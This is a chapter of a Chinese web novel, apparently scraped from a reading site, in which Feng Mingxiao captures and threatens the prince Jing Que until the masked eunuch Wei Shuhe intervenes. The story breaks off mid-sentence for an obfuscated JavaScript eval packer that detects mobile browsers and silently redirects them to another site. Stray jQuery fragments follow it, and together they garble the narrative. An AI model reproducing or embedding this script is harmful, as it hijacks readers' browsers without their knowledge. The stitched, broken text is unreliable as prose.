25. 认出来他

作品:《从冷宫到女帝

    凤鸣潇动了动嘴唇,无声:“开门。”手腕翻转,一根根银线如蛇蜿蜒气势汹汹缠住了景阙腰间,四肢。


    景阙瞪大眼睛,腰间蓦地一紧,他怒视凤鸣潇,可又无可奈何。


    因为他发现自己开不了口了,也不动了。


    脚步似乎被定住了一般,然后木偶景阙开始动了,以扭曲不稳的姿势向门走去。


    越接近门,景阙越害怕焦急,一滴冷汗划过,吱呀一声,门开了,空无一人。


    景阙浑身一松,心下又浮现焦虑,也不知去哪里了?错过今天又不知何时才能见面,事情耽误不得。


    而如今自己又被发现,这个人邪的很,武功路数让人捉摸不透,还会控术。


    景阙不怕死,但他担忧的是,自己无法控制自己的死。


    凤鸣潇狐疑的眼神紧盯门外,她捏紧了折扇,控制景阙,将门关上。


    空中一片竹叶从门窗落了进来,凤鸣潇素手一翻,景阙整个人被提至她身前,袖箭抵上他修长而又脆弱的脖颈。


    速度之快,仅是一瞬间。


    凤鸣潇弯起来嘴角,贴近景阙耳朵,“你说他会不会救你一命?啊,不救的话,也好。”


    她的手指微凉,一点一点从景阙的下巴抚摸到他的脖颈,引起颤栗。


    景阙闭上眼睛,屈辱漫延全身。作为女尊国的皇子,从小万般宠爱,从来没有谁敢这么对他!


    而在凤鸣潇眼中,对方一点一点羞红了眼眶,泪珠滑落,面纱早已落下,露出的容颜倾城。


    凤鸣潇眯起眼,这张脸,怎么会……


    猛然间,眼前闪过冷光,凤鸣潇搂着景阙后退一步,折扇翻飞,‘哗嚓嚓一声’,抬头,眼前是一个面具的男子。


    折扇已经成了两半。


    周身裹得严严实实。唯一露出来的就只有那一双寒冷的眼睛。


    “放开他!”对方步步紧逼。


    凤鸣潇冷凝,最讨厌别人威胁了,尤其是看不清形势的,不知死活的。她直接掐住景阙的脖子,“我偏不放又如何?”


    景阙呼吸变得困难,眉头紧皱,他面色变得充血,不得不张开嘴,使劲的呼吸。


    面具人停止脚步,“你要怎样才放他?”


    “面具。”凤鸣潇吐出两个字,平静的眼神变得幽深,尤其对方把自己的折扇给弄坏了。


    面具人道:“除了这个。”


    “哦,可是我只想看面具呢。”凤鸣潇骨子里是反逆,你偏不要,我就偏要。


    面具男捏紧了拳头,他就这么静静的看着凤鸣潇,可手又无比诚实的慢慢抚上面具。


    一声轻笑,打破了宁静有紧张的气氛。


    面具男捏着面具的手一顿,不明所以。


    凤鸣潇视线有意扫过黑衣人的腰身,慢慢松开了景阙,一掌拍他的后背,直至将人送进黑衣人面前。


    身影跃出窗台,她回头深深看了一眼面具人,嘴巴翕动,对方眼睫颤动着,避开了凤鸣潇的视线。


    随着脚尖落地,凤鸣潇沉下眼眸,二话不说,往大街中心走去,算算这个时间,红姑应该醒了。


    她摇了摇手中的瓶子。


    叹了口气,这都什么事……白白浪费了时间。


    如此,还要去另一处青楼。她的身形加快,渐渐落入了月色昏暗中。


    阁楼房间内,面具人搀扶住了景阙,点开了他的哑穴和定穴。


    景阙无力软到在茶桌旁。


    “她怎么会在这里?”面具人摸着面具,嗤笑一声,干脆摘了下来。


    露出一张绝艳的脸蛋,桃花眼多情朦胧。让人惊奇的是,这张脸又与景阙有几分相似。


    卫束河抿唇,“她知道了我的身份。”


    “你认识的?”景阙喉咙动了动,慢慢撑着身子倒在椅子上。


    “表哥,那我们计划会不会?”景阙忧心忡忡,卫束河的神情并不是喜悦,刚刚那个人做事仅凭喜好,喜怒无常的,就连现在他也不知为何就突然被放了。


    “我不知。”卫束河不明白,为什么这么巧?


    他继续问细节,“她方才与你都说了些什么?”


    景阙难堪,羞愧道:“刚才我在房间内,便察觉有人偷窥我。我便反击了回去,岂料她进了房间,见了我之后,非常可惜地说,我是男子。


    好像是耽误了她的计划,她说她是来找貌美女子,风花雪月谈情说爱的。


    我一时气结被她背叛羞辱,就与她打起来,结果她武功实在高强,就被强迫安静了。


    然后……”景阙小心翼翼的看了一眼卫束河,“然后表哥你就来了。”


    其实景阙内心,虽然与表哥相处了数月,但是对于这位表哥还是害怕的。


    因其家族事件,这位表哥忍辱负重,成了太监,成了没根的男人。


    旁人都说太监这玩意儿,因为少了一部分,且在后宫多被欺辱谩骂不当人那种,生性不定。


    所以品性喜怒无常,也许上一刻他与你语笑嫣然,谈笑风生,但莫名下一刻将你打入地牢都有可能。


    更何况眼前的这位是西厂厂督,天子近前的红人。


    只是,景阙又想,刚才那位人究竟是什么身份?为何连表哥都拿她无法?


    甚至……


    景阙下意识的摸了摸自己的脸,自己的母皇与卫束河的父亲是有血缘关系的,所以他与卫束河长得有些相似。


    当时对方看了自己的脸,神色是不一样的。


    景阙可不是没有脑子的觉得对方是喜欢自己的脸看上了自己。


    她动手杀自己的时候可没有一点心软。


    景阙现在还能感觉到呼吸困难,想必脖子已经留了痕迹深深。


    现在看着表哥,再想想当时的情况,对方不仅没有杀了自己还放了自己,会不会与表哥有关系呢?


    卫束河内心复杂,他回避了景阙洞察的目光,凤鸣潇认出来了自己,甚至还让自己去找她。


    闭上眼睛都还能回想到当时对方嚣张的模样,她说了六个字,‘卫束河,忘月居。’


    说起来,自从上次两人一别,已经有一个月没有见过面。


    且从那晚以后,他便觉得自己变了许多,尤其是对凤鸣潇的态度与心态。


    但这些他都归根于是因为他与她本就没有绝对的争锋立场。


    他们都是为肃帝效劳的。


    只是刚刚,他竟然对景阙所说的,她要找女子风花雪月,谈情说爱,生生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477283|184011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起了怒气。


    而这怒气来的不明不白。


    还有对方看见了景阙的脸,在这上一步,她摸了景阙,这些他都看在眼里。


    然后他发现自己,不仅不想救景阙,反而很想将,那一幅旖旎的画面全部打破!


    他莫名的不喜欢凤鸣潇碰别的男子。


    只是对方着实可恶,一步一步强行逼迫自己又放过自己,就像花笺节那晚一般。


    他深深吐出一口气,他不应该多想的,可是又控制不住。


    景阙的眼神,竟让他有一些无所适从。


    他斜了一眼对方,“看我做甚?资料拿到了吗?”平日奸细的嗓子现在平缓下来,但也能听得出没有男子的浑厚感。


    面无胡须,皮肤竟比一般的女子白,可细细看有一股阴沉,反而显得可怕。


    景阙收回眼神,点头,“拿到了。”他乖乖起身去里间拿出来递给他卫束河。


    卫束河打开,眼神寒冷,他将资料紧紧收起。


    转头对景阙说:“剩下的事便交于我。你已经被她发现,我虽不知她想做什么,但她能发现旁人也可以。


    所以事不宜迟,今日你便离开,回到景国。”


    “好,那你多加小心。对了……”


    景阙覆上面纱,问出心中疑虑,“表哥,她究竟是谁?”


    “大楚九皇子,凤鸣潇。”


    阿切……


    凤鸣潇摸了摸鼻尖,该不会是那死太监骂她吧?


    下次可就没那么容易放过了,凤鸣潇撇撇嘴。


    “公子怎么了?”软语温言,女子靠在凤鸣潇怀里,殷切问道。


    “无事。”凤鸣潇熟悉地点了对方睡穴,星辰的眼眸慢慢闭上。


    一滴鲜红的血进了瓶口,凤鸣潇满意了,终于集齐了。


    她与雯文两人,分头形式她九滴雯静八滴。


    出了醉香阁,原来端城还有三大青楼,这其中的梦华居,美人更多更足,一时便让她集齐了五滴。


    再来到第二个青楼就差不多了,怀中的女子便是华彩楼的头牌,倒也运气好,今日让她碰上了。


    凤鸣潇将被子盖上,转身出了房门,待她准备离开,听到了熟悉的名字。


    左侧的房间论酒高歌,听其声音约三五人。


    其中有一男子的声音偏尖锐跋扈,十足的挑衅,“卫兄,家里娇妻美妾的,怎的来这华彩楼,若让嫂子知道,我们可脱不了身啊,哈哈哈。”


    “妇人家的,怎么管得起丈夫的事。”那人回道。


    “听闻卫兄的妻子是尚书女儿,薛家四小姐,容貌秀丽,为人端庄大方,洁身自好,做事利落。都让我们好生羡慕呀。”另一人奉承道。


    房间内,卫燕停下了酒杯,目光投向说话的人,深沉如潭,无人不知薛佳被掳,纵然是完璧之身,嫁给自己,但在外人看来,已是破败。


    对方是当今四皇子生母,于贵妃的外戚侄子,论着身份他与他倒是敌对。


    此刻说这话,不是明晃晃的在打他的脸吗?


    说他卫燕要了一个残花败柳,‘洁身自好’自己知道是,旁人知道不是,哪怕知道是,现在此刻说着这话阴阳怪气,含沙射影,赤裸裸的羞辱。